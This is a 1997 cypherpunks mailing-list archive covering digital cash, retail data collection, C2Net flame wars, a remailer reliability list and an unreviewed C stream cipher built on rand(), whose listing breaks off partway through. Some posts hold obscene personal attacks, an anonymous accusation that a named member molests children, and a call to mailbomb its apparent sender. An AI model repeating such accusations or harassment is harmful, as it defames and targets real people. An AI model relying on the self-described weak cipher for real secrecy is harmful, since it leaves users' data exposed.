the quality of their products and I find their privacy-hostile behavior
annoying. But when I have made purchases at Radio Shack, I've had no trouble
with them if I say "This is a cash sale. You don't need my name or address."

But I understand you're considerably less courageous in person than you are
from behind a terminal a few thousand miles away, so it's entirely possible
that a mousy Radio Shack clerk asking for your name does pose a significant
threat to your privacy. I had overlooked the "wimpy nerd" problem in my
earlier message. Thanks for pointing out my oversight. In the future, please
assume that when I mention a hypothetical consumer, I mean one of average or
greater fortitude. Perhaps you can find a friend who's not scared of the
Radio Shack clerks to make your purchases for you?


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM2116P37pMWUJFlhAQEmwwf+LQZaGKOyCOErPlLFo3aRsguix46fhlvS
jYCTc/yTTXObiC5J1IYskaaOpYAmbhtQiSFT+4d8sjhAMteTFVt12gZG0d2RsczT
eHdKthu4NTA6eHPfBjz6C17FcGMaieYXFAbSLHFxFjwVa/g8tN6WHB8IxIG+zPvZ
DVZv4DWsb+SmjQEk0RCs+J5yv2bbAr3lKtXVS7eFzHR9CsaXfIdsq8MisleR+A3u
5ZgRlIdIpDzBEemr32KlL60o8NgcAudLUAimjVb09P6qNmk7A3k+NYwLkaAJrYzk
b+LKyBdoj2opPTiZT1vY3WYEHvpsWpiVJ7yapuNX8r3HlHr+DbNqsA==
=sGw9
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 5 May 1997 21:41:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <v03007801af932acf03a6@[207.94.249.214]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:02 PM -0700 5/4/97, Tim May wrote:
>(And such cash systems are almost certainly cheaper for merchants for other
>types of transactions. Getting the money immediately has to be at least as
>cheap as having checks, credit cards, tabs, etc. Obviously.)

An exception may be for businesses like all-night gas stations, where
robbery is a significant cost of doing business.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 5 May 1997 13:48:27 +0800
To: cypherpunks@toad.com
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
Message-ID: <199705050515.XAA01193@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tom Weinstein wrote on cryptography@c2.net:

{With Perry dripping Sameer's sperm from his mouth as his
C2Nut Jackboots soiled the message with the following:}
 [I felt I had to let this go through, but I would advise that those
 involved restrict themselves to calmer comments from here on...
--perry]

> sameer wrote:
> >
> > In a recent announcement, Netscape Communications announced plans to
> > include government back doors in their products. "By implementing this
> > so-called 'key recovery', Netscape is getting a small increase in key
> > length in exchange for putting your keys in the hands of the
> > government," said Parekh. "This the same government that hired Aldrich
> > Ames, the same goverment that has IRS employees surfing taxpayer
> > databases at will. What do you think is going to happen to your keys?"
> 
> This is utter crap, and I'm sure you know it.  All we're going to do is
> provide an OPTIONAL (and I mean really optional, not the way the feds
> use it) way for administrators to recover private keys.  This is not
> GAK.  I will never work on a product that includes GAK.
> 
> Oh, but I guess saying that Netscape is responding to customer
> requirements by including support for corporate key recovery wouldn't
> make such good press release spam.

  Crap seems to be such a violent, obscene word when used to 
describe C2Nut's bullshit. Good thing that the cryptography list
has Perry to protect the list subscribers from StrangleHold's
competition defending themselves from Sameer's self-serving
denigration of their products.

  Too bad C2Nut doesn't have a StrangleHold on the cypherpunks
list, as well. Then they could use censorship threats to make
us all be good little boys and girls, too. 
  I expect all PR statements to have a modicum of bullshit in
them and I resent any lame-fuck-would-be-Hitler trying to put
a lid on the response to that bullshit.

  The fact that StrangleHold seems to have so many things to
hide and such a strong need to control discussion of its product
indicates to me that perhaps their product cannot stand up to
the light of public scrutiny and criticsm.
  C2Nut's bottle-fed cryptography list may be fine for those who
are afraid to know too much about StrangleHold, but anyone who
owns a wetsuit needs to subscribe to the cypherpunks list for 
the good, old-fashioned pissing contests that send the pretenders
home with their tails between their legs.
  (Anyone hear from DataERetch lately?)

PissMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 5 May 1997 14:41:13 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <eHP86D9w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970504232234.00a71af0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:54 PM 5/4/97 -0700, Greg Broiles wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:42 PM 5/4/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>>Greg Broiles <gbroiles@netbox.com> writes:
>>> example, most merchants try to get location/contact information when they
>>> take a check, because there's some risk that the check will be returned
>>> (sometimes in as long as 2-3 weeks) after the customer and the
merchandise
>is
>>> long gone. If checks cleared instantly, this wouldn't be necessary - and
I
>>> think merchants would forego collecting this information (they do now,
for
>>
>>As usual, Greg the C2Net shill writes total bullshit about things he
>>knows nothing about.  Try paying cash at Radio Shack, and see if they
>>ask for your name and address for their mailing list.  I guess Greg
>>is not the type to buy anything at Radio Shack.  What a fitting
>>employee for C2Net.

I really knew what specific actions caused people to have such a NASTY
opinion of C2net.  I have seen mistakes on their part, but nothing to warrent
the kind and amount of venom I have seen from people.  Maybe I missed
something somewhere...  (Or is this one of those "people who disagree with me
are <fill in insult here>"?)

>I avoid Radio Shack as a general rule, because I haven't been pleased with
>the quality of their products and I find their privacy-hostile behavior
>annoying. But when I have made purchases at Radio Shack, I've had no trouble
>with them if I say "This is a cash sale. You don't need my name or address."

I only go to Radio Shack as a LAST resort.  Every electronic part I have
bought from them has failed.  (Usually before instalation.)  About the only
thing I have ever bought from them that was worth what I paid for it was a
printer cable.

>But I understand you're considerably less courageous in person than you are
>from behind a terminal a few thousand miles away, so it's entirely possible
>that a mousy Radio Shack clerk asking for your name does pose a significant
>threat to your privacy. I had overlooked the "wimpy nerd" problem in my
>earlier message. Thanks for pointing out my oversight. In the future, please
>assume that when I mention a hypothetical consumer, I mean one of average or
>greater fortitude. Perhaps you can find a friend who's not scared of the
>Radio Shack clerks to make your purchases for you?

There seem to be more and more companies that ask nosey questions at the cash
register.  Toys R Us has been asking for a home phone number every time I
shop there.  (And every time I give them a random number.  They just ask for
a home phone munber.  I never say it is *MY* home phone number.)

I suggest memorizing the address and phone number of some local establishment
or business.  (In Vullis's case, the local methadone clinic might be in
order...)  Government buildings, stadiums, massage parlors and the like are
also useful.  When these people start finding out that the data is bogus,
maybe they will stop relying on it so much.  (Learning to lie to sales people
with a straight face it a useful skill.  Something I learned being a
programmer I guess...)

And if you think that is bad, you should hear what I tell the pollsters in
the mall... ]:>

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM218neQCP3v30CeZAQHwmgf/RGmn27rEPtdtdBCVkA+3+UdNCEtLBVL3
IRW9Sr2SNEofX4cbjF+kiiYZM/VDOEGSycq9M+13XApaywxNMQE7D4f3jEVjphSH
+8sEX17BDBTXSOFTjIJaf4bD2Gx+Qld4id7gCU+VeJDiS35Aelxa5mg5nLsHPwzq
qmWMXwvWT8hp5jcN8pwXBqSHb+HMRRpAtkYF+2a6RmpCmjGQ1b48/a3hm01iYi04
sWSAUgEFhJdOwAzu5lFKHYBhQaPVM2kENxzbcHTZha/9f4SKc5mtqGzB/O4aXs1g
DMxAENzJn5uCpAG0AtzTk3Kv2C1xdWhYRZS6ANGPzVgqlQUkjaR0Kg==
=nTwJ
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Mon, 5 May 1997 05:37:40 +0800
To: Hal Finney <hal@rain.org>
Subject: Value of the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <199705042126.XAA21662@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



 A million monkeys operating under the pseudonym 
 "Hal Finney <hal@rain.org>" typed:
>
> It is hard to understand why a system where it is impossible to track
> payments (Chaumian anonymity) is cheaper than one where it is possible
> to do so, but we choose not to.  If avoiding tracking payments is cheaper
> than tracking them, why wouldn't participants just not bother to track
> them even when they theoretically could?


This is an excellent question, Hal.  I've been thinking about it 
since I saw a similar post of yours earlier today.


> Granted, there are situations where taking away someone's options can make
> him better off.  The classic example would be the Prisoner's Dilemma, which
> I will assume people here are familiar with.  Given the choice to cooperate
> or defect, standard analysis predicts that both players will defect.  Remove
> that option, and they will be forced to cooperate, leading to a better
> ("lower cost") outcome for both.  The structure of the game forced them to
> take advantage of an option which has the net result of costing them more.


In the case where the problem of nymity is that one actor can later
prove the fact of the transaction, and this is a cost, I can see 
how the option of anonymity could make a cheaper transaction 
possible.  However, I think that this is _not_ the case that Robert
Hettinga is interested in.  I think the case that Bob is talking 
about is when the cost is the possibility of incurring legal 
liability from the transaction.


So it is true that _if_ the transactions were unconditionally 
anonymous, _then_ you would not have the costs of legal liability,
but it does not follow that anonymity is the _only_ way to avoid 
the cost.


Frankly, I think the best way to avoid that cost in the forseeable
future is the time-tested method of saying "I make no warranties, 
etc. etc. and incur no contractual obligation blah blah and so 
forth.", as part of your deal.


I think this can be accomplished done without using any 
cryptographic technique more complicated than simple 
authentication.


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 5 May 1997 12:08:34 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
Message-ID: <eHP86D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:
> example, most merchants try to get location/contact information when they
> take a check, because there's some risk that the check will be returned
> (sometimes in as long as 2-3 weeks) after the customer and the merchandise is
> long gone. If checks cleared instantly, this wouldn't be necessary - and I
> think merchants would forego collecting this information (they do now, for

As usual, Greg the C2Net shill writes total bullshit about things he
knows nothing about.  Try paying cash at Radio Shack, and see if they
ask for your name and address for their mailing list.  I guess Greg
is not the type to buy anything at Radio Shack.  What a fitting
employee for C2Net.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 5 May 1997 14:18:05 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [STEGO] One-time pads
In-Reply-To: <199705042340.QAA09356@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970504234425.70330A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


I think Vulis needs each of us to send ten copies of this back
to him.

On Sun, 4 May 1997, Huge Cajones Remailer wrote:

> Timmy C. Mayonnaise sexually molests little children, farm 
> animals, and inanimate objects.
> 
>      < >            < >
>       V    )_.._(    V Timmy C. Mayonnaise
>       \\   <____>   //
>         ~ <______> ~      >
>         /~\______/~\     //
>         /~\_____/~\     /_\
>         /~\____/~\     /_\
>          /~\___/\~\  _/_\/
>             \___/\__/__\/
>               \___/__\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 5 May 1997 22:07:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <19970505002517.53020@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 12:31:12AM -0500, snow wrote:
> Kent Crispin wrote:
> > AP? You apparently don't have direct knowledge of this, but after a
> > certain level of economic security has been reached economics becomes
> > a much less important as a motivator [Maslow].
> 
> 	Bullshit:
> 	
> 	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.
> 
> 	I would say that with economics, the _more_ you have the more 
> it motivates your life.

And of course, Tim May, and John Gillmore.

"Economics" was a poor choice of word on my part, and you make a good
point.  However, IMO all three examples you give are clearly more 
motivated by power and gamesmanship than they are by economics.  The 
Kennedys, especially, long ago switched to politics.

In general, past a certain level of wealth people remain in the game 
because they enjoy playing it, not because they need the money.  
Prior to that level they seek money because they believe they need 
it.  Some people find it hard to make that transition, and continue 
to believe they need money long after all objective reasons have 
disappeared. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 5 May 1997 20:48:07 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <199705050531.AAA00507@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> AP? You apparently don't have direct knowledge of this, but after a
> certain level of economic security has been reached economics becomes
> a much less important as a motivator [Maslow].

	Bullshit:
	
	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.

	I would say that with economics, the _more_ you have the more 
it motivates your life. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 5 May 1997 20:26:40 +0800
To: cypherpunks@toad.com
Subject: Re: Ebonics: The Finale
In-Reply-To: <v02140b01af92c9f91f41@[10.0.2.15]>
Message-ID: <199705051200.FAA01520@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:27 PM 5/4/97 -0700, Steve Schear wrote:
|Oakland school officials drop ebonics references
|
|Associated Press
|
|OAKLAND, Calif.-The Oakland public schools African American Task Force has
|dropped all references to ebonies in a final report about improving
|education for black students.

Ofay fools!

It don' be ded. It 'live.

Ebo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 5 May 1997 22:13:12 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705051350.GAA16929@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 5 May 97 6:45:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             *+*#+#+++**#     3:30  99.99%
cyber    alias@alias.cyberpass.net        ++++*-++***#    19:39  99.98%
balls    remailer@huge.cajones.com        *####*####*#     1:52  99.97%
squirrel mix@squirrel.owl.de              +-++++++++-   1:54:28  99.94%
weasel   config@weasel.owl.de             +-++-+++++-   1:57:01  99.90%
lucifer  lucifer@dhp.com                  ++++++++++++    35:18  99.90%
mix      mixmaster@remail.obscura.com     ++.-.-.---.-  8:18:24  99.87%
replay   remailer@replay.com               ***++- * -*    54:35  98.34%
jam      remailer@cypherpunks.ca           ******* ***     8:52  97.43%
winsock  winsock@rigel.cyberpass.net      -------..-    5:58:48  97.30%
hidden   remailer@hidden.net              #+#**#+#   +  5:34:09  95.94%
reno     middleman@cyberpass.net          -+.--+-.+     1:19:01  90.79%
dustbin  dustman@athensnet.com                 -..--    3:59:41  78.48%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Tue, 6 May 1997 00:11:54 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705051536.IAA12717@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:50 5/02/97 -0700, Kent Crispin wrote:
>On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:

>The basic point, really, is that organizational complexity grows 
>with the size of the organization, at a greater than linear rate.  
>This is because organizational complexity is a function of 
>interactions between members of the organization, which is at least 
>n-squared.  (However, when you consider that alliances form and can 
>interact, the true complexity grows at a much faster rate.) 

You seem to be taken with making all sorts of bare, unsupported claims,
obviously with the intention of explaining (for example) away what was
apparently an INTENTIONAL increase in the size of Federal government between
(say) 1932 and today.   

To read your paragraph above, its increase in size was simply the
unavoidable consequence of nature's laws or something akin to it.  Maybe a
product of number theory, or the Fibbonacci sequence, exponential increase,
or something like that.  Which would, if true, remove just about all the
blame from those who were in control of the situation.

BULLSHIT!

Chances are good that at least 75% of the size of the US Federal government
today is due to spending that wasn't considered the proper Constitutional
function of the government before 1930, and certainly not before 1900 or so.
(Large peacetime military, Socialist Insecurity, Welfare, Medicare,
Medicaid, interest on national debt caused by deficit spending that occurred
due to funding these previous atrocities, etc.)

>> But NONE of this is truly needed.  I have a solution to that problem.
>
>Jim, have you considered the interaction between religious beliefs and
>AP? You apparently don't have direct knowledge of this, but after a
>certain level of economic security has been reached economics becomes
>a much less important as a motivator [Maslow].

Other people have blown this claim away, so I don't think I need bounce the
rubble further.  However, I wonder why you think that people will not resent
the theft of their property simply because they've reached "a certain level
of economic security."?

Frankly, it sounds like yet another of your "let's justify the government
through specious arguments" exercises.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 6 May 1997 01:10:05 +0800
To: Alan Olsen <gbroiles@netbox.com>
Subject: Insults about C2Net
In-Reply-To: <3.0.1.32.19970504225450.006fe22c@pop.sirius.com>
Message-ID: <v03007800af93ca8bcc21@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:22 PM -0800 5/4/97, Alan Olsen wrote:

>I really knew what specific actions caused people to have such a NASTY
>opinion of C2net.  I have seen mistakes on their part, but nothing to warrent
>the kind and amount of venom I have seen from people.  Maybe I missed
>something somewhere...  (Or is this one of those "people who disagree with me
>are <fill in insult here>"?)

This is an easy one. The only continuing insults I see come from Vulis. No
further explanation is needed.

(One wonders why Vulis does not simply program one of his insultbots to
spew out a daily insult.)

I happen to believe C2Net overreacted to Vulis' slur about the quality of
Stronghold, and I strongly, strongly believe that Sandy S. should not have
censored the Vulis post while being an employee of C2Net (that is, he
should have done one or more of the following: let it pass the way so many
off the wall posts were passed, announce publically what he was doing at
the very least, recuse himself from the decision due to conflict of
interest, or, best of all, quit as censor).

But the C2Net flap is behind us. The continuing claims that it was C2Net
which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
receives his instructions from the Elders of Zion, relayed through the San
Francisco representatives of the Bilderburgers.

As for stores asking for personal info, this is unsurprising. Fortunately,
one can always refuse to give it, or lie, or just shrug. No laws yet demand
this information be given (except for sales of guns and other such
almost-contraband). Stores seek information for marketing, for decisions on
placement of new stores (which is why zip codes are sometimes asked for),
etc.

"Identity is just another credential in a negotiation."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@communities.com>
Date: Tue, 6 May 1997 01:24:04 +0800
To: cypherpunks@toad.com
Subject: Fast Cheap Unreviewed Stream Cipher
Message-ID: <3.0.32.19970505095357.006e9248@homer.communities.com>
MIME-Version: 1.0
Content-Type: text/plain


I received this code from another friend.

Here's a FAST somewhat cryptographically secure pseudo-random generator
written by a friend of mine that wishes to remain anonymous.  He has given
permission for the following code to be placed in the public domain, and to
be sent to cypherpunks and others for review.  Alas, I have never gotten
around to doing so.  As it states, on a PowerPC it'll produce bits fast
enough to be a pseudo-one-time pad / stream cipher for good digitized video
on a LAN (the purpose for which he originally sent it to me) and hence
should do point-to-point audio without even breathing hard.

For those who haven't heard, the scenario is for point-to-point audio to
use an affordable (weak) stream cipher, but to be changing keys frequently
using our strongly secure SSL channel.  Each costly break would only
compromise a few seconds or so of audio.  The following code may serve as
the affordable (but maybe better than weak) stream cipher.


/******************************************************/
/**  (c) 1823 Millard Fillmore, all rights expired   **/
/**  Full words of pseudorandom bits at video speed  **/
/******************************************************/

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <sioux.h>

#define WORD_SIZE 32

unsigned long shiftRand();
static void refillShiftRand();
void seedShiftRand(unsigned long seed);


static unsigned long shiftRandArray[31] = { };            // to hold
internal state values
static unsigned long * arrayPtr = shiftRandArray;         // incremented as
state values are consumed
static unsigned long * const end = shiftRandArray + 31;   // marks end (and
need to refill array)

// Initializes shiftRandArray to pseudorandom contents using a seed value
and the system rand function,
// which is assumed to produce 16 bits per call. Low rand bits are obscured
by xoring with high bits from other
// calls, and all product bits depend on two or more calls to rand. The
resulting values are themselves obscured,
// not simply revealed at the output, hence this is probably overkill. The
seed acts as a key.

void seedShiftRand(unsigned long seed) {
        srand(seed);
        long cyclesPerWord = ((WORD_SIZE + 7) >> 3) - 1; // will add a net
of 8 bits per call to rand
        unsigned long * arrPtr        = shiftRandArray;
        for (; arrPtr < end; arrPtr++) {
                unsigned long rand1 = rand();                // wrap this
value around word boundary:
                unsigned long element = (rand1 >> 8) | (rand1 << (WORD_SIZE
- 8));
                for (long i = 0; i < cyclesPerWord; i++) {
                        element ^= rand() << (8 * i);            //previous
8 high bits obscure 8 new low bits
                }
                *arrPtr = element;
        }
}

// Low-order bits in the following act as an xor-based linear feedback
shift register (with moving taps
// and stationary data); the repeat period equals (1 << 31) - 1.
Higher-order bits have similar
// "intrinsic" behavior, but the state of each is determined by additional
xoring with a sequence
// of carry bits from below, causing repeated period-doubling across the
width of the word.
//
//    The choice of 31 and 13 corresponds to a primitive polynomial mod 2;
Applied Cryptography has
// typos in polynomial coefficients, but the repeat period was tested
directly. This code avoids a
// shift-direction mistake in Applied Cryptography, and hence follows
Numerical Recipes.
//

static void refillShiftRand() {

        unsigned long  * tap0  = shiftRandArray + 0;
        unsigned long  * tap13 = shiftRandArray + 13;

        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13 = shiftRandArray;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
